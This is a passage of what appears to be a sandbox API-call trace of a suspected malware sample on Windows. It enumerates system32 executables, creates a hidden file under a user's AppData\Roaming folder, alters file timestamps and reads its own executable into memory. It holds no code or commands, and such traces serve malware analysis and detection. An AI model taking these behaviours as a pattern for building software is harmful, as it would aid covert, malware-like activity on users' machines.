lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x965e8982, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x965e8982, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdba376d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28800, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="charmap.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="chglogon.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="chgport.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b37c01, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b37c01, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b5dd62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="chgusr.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc10dea0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="chkdsk.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc134fa0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="chkntfs.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93205b17, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93205b17, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9322bc77, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="choice.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318b7149, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x318b7149, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc23f170, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="cipher.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbbfaf1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7cbbfaf1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdc2fd850, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x34c00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="cleanmgr.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e5790, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xb7e5790, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xdc324950, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="cliconfg.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391d06ff, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x391d06ff, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc349340, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="clip.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8734b6f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8734b6f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87371858, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54400, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="cmd.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1030d73, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb1030d73, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdd3a6a80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="cmdkey.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec55860, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x6ec55860, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdd3cdb80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="cmdl32.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d4445bb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7d4445bb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdd3f2570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="cmmon32.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8efab55c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8efab55c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8efab55c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16800, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="cmstp.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba021e4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1ba021e4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd419670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="cofire.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fdc04, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x19fdc04, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xdd465160, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15200, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="colorcpl.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316ee0ed, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x316ee0ed, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd48c260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="comp.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd4b0c50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="compact.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7238b736, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x7238b736, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xeecd5140, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="CompMgmtLauncher.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7da9e, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82d7da9e, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdd4b0c50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="ComputerDefaults.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x853e749d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x853e749d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8547fa1f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52800, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="conhost.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ee548fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ee548fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ee548fa, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b580, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="consent.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75044f6b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x75044f6b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdd67bc10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="control.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29ca404f, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x29ca404f, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd6a0600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="convert.exe", cAlternateFileName="")) returned 1 [0037.690] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eda12e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb0eda12e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xddacb450, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="credwiz.exe", cAlternateFileName="")) returned 1 [0037.691] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53727ed, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd53727ed, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddb62a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x26200, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="cscript.exe", cAlternateFileName="")) returned 1 [0037.691] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b3e3e96, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x6b3e3e96, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xddb62a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="csrss.exe", cAlternateFileName="")) returned 1 [0037.691] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c51c5ff, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x1c51c5ff, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xddbb0c30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="ctfmon.exe", cAlternateFileName="")) returned 1 [0037.691] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2191a4, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x8e2191a4, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddc48210, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4ea00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="cttune.exe", cAlternateFileName="")) returned 1 [0037.691] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895c7647, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x895c7647, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddc6f310, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="cttunesvr.exe", cAlternateFileName="")) returned 1 [0037.691] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1385fc55, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x1385fc55, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xdde37bc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xd7400, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="dccw.exe", cAlternateFileName="")) returned 1 [0037.691] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfca15ae0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xfca15ae0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde000470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="dcomcnfg.exe", cAlternateFileName="")) returned 1 [0037.691] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbf2c800, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdbf2c800, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde0beb50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="ddodiag.exe", cAlternateFileName="")) returned 1 [0037.691] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbcdff23, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xbbcdff23, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde10a640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2cc00, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="Defrag.exe", cAlternateFileName="")) returned 1 [0037.691] FindNextFileW (in: hFindFile=0x459b38, lpFindFileData=0x17af6dc | out: lpFindFileData=0x17af6dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb939178, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdb939178, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde156130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1b400, dwReserved0=0x21, dwReserved1=0x77162c67, cFileName="DeviceDisplayObjectProvider.exe", cAlternateFileName="")) returned 1 [0037.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0037.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed61e8 [0037.691] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0037.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed62f0 [0037.691] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed61e8) returned 1 [0037.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xed61e8 [0037.691] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\C:\\Windows\\system32\\DeviceDisplayObjectProvider.exe" (normalized: "c:\\windows\\system32\\c:\\windows\\system32\\devicedisplayobjectprovider.exe"), fInfoLevelId=0x0, lpFileInformation=0x17af5f8 | out: lpFileInformation=0x17af5f8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x838ae7, ftCreationTime.dwHighDateTime=0x300000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0x17af954, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x17af690)) returned 0 [0037.691] GetLastError () returned 0x7b [0037.691] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed62f0) returned 1 [0037.691] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0xed89e0 [0037.691] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed89e0) returned 1 [0037.691] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\VAYTH9~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\vayth9~1"), fInfoLevelId=0x0, lpFileInformation=0x17af5f8 | out: lpFileInformation=0x17af5f8*(dwFileAttributes=0x48, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x300000, ftLastAccessTime.dwLowDateTime=0xed89e0, ftLastAccessTime.dwHighDateTime=0x83a79c, ftLastWriteTime.dwLowDateTime=0x17af954, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x2, nFileSizeLow=0x17af690)) returned 0 [0037.691] GetLastError () returned 0x2 [0037.691] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\VAYTH9~1" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\vayth9~1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x2, hTemplateFile=0x0) returned 0x164 [0037.692] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x17af63c, lpLastWriteTime=0x17af63c) returned 1 [0037.692] WriteFile (in: hFile=0x164, lpBuffer=0xed8a28*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x17af668, lpOverlapped=0x0 | out: lpBuffer=0xed8a28*, lpNumberOfBytesWritten=0x17af668*=0x0, lpOverlapped=0x0) returned 1 [0037.692] NtClose (Handle=0x164) returned 0x0 [0037.692] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed61e8) returned 1 [0037.692] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fbe8) returned 1 [0037.692] FindClose (in: hFindFile=0x459b38 | out: hFindFile=0x459b38) returned 1 [0037.692] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fc70) returned 1 [0037.692] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fcf8) returned 1 [0037.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x800) returned 0xed61e8 [0037.692] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xed61e8, nSize=0x200 | out: lpFilename="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe")) returned 0x1c [0037.692] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fcf8 [0037.692] GetFileAttributesExW (in: lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), fInfoLevelId=0x0, lpFileInformation=0x17af5f8 | out: lpFileInformation=0x17af5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2fd46aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2fd46aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa450000, ftLastWriteTime.dwHighDateTime=0x1cb890f, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0037.693] CreateFileW (lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x148 [0037.693] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x17af63c, lpLastWriteTime=0x17af63c) returned 0 [0037.693] GetFileSize (in: hFile=0x148, lpFileSizeHigh=0x17af628 | out: lpFileSizeHigh=0x17af628*=0x0) returned 0x44000 [0037.693] SetFilePointer (in: hFile=0x148, lDistanceToMove=0, lpDistanceToMoveHigh=0x17af634*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17af634*=0) returned 0x0 [0037.693] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x44000) returned 0xed9690 [0037.695] ReadFile (in: hFile=0x148, lpBuffer=0xed9690, nNumberOfBytesToRead=0x44000, lpNumberOfBytesRead=0x17af668, lpOverlapped=0x0 | out: lpBuffer=0xed9690*, lpNumberOfBytesRead=0x17af668*=0x44000, lpOverlapped=0x0) returned 1 [0037.697] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x44000) returned 0xf1d698 [0037.700] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed9690) returned 1 [0037.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x44000) returned 0xed9690 